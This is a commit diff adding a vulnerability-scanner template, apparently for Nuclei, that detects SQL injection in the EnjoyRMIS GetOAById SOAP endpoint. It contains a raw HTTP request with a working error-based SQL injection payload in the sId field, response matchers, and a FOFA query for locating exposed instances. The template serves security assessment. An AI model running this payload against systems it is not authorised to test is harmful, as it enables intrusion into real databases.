add enjoyrmis sqli
parent
8ebe2887dd
commit
948844c407
|
@ -0,0 +1,35 @@
|
||||||
|
id: enjoyrmis-sqli
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: EnjoyRMIS - SQL Injection
|
||||||
|
author: securityforeveryone
|
||||||
|
severity: high
|
||||||
|
description: |
|
||||||
|
EnjoyRMIS is vulnerable to a SQL injection in the GetOAById SOAP endpoint. An attacker can exploit this to execute arbitrary SQL commands.
|
||||||
|
reference:
|
||||||
|
- https://github.com/wy876/POC/blob/main/EnjoyRMIS-GetOAById%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
|
||||||
|
metadata:
|
||||||
|
fofa-query: body="CheckSilverlightInstalled"
|
||||||
|
http:
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
POST /EnjoyRMIS_WS/WS/POS/cwsoa.asmx HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Content-Type: text/xml; charset=utf-8
|
||||||
|
SOAPAction: "http://tempuri.org/GetOAById"
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||||
|
<soap:Body>
|
||||||
|
<GetOAById xmlns="http://tempuri.org/">
|
||||||
|
<sId>string' AND 8448 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (8448=8448) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(113)+CHAR(113))) AND 'OFyo'='OFyo</sId>
|
||||||
|
</GetOAById>
|
||||||
|
</soap:Body>
|
||||||
|
</soap:Envelope>
|
||||||
|
|
||||||
|
matchers:
|
||||||
|
- type: dsl
|
||||||
|
dsl:
|
||||||
|
- 'contains(body,"qqqzq1qvkqq")'
|
||||||
|
- 'status_code == 500'
|
||||||
|
condition: and
|
Loading…
Reference in New Issue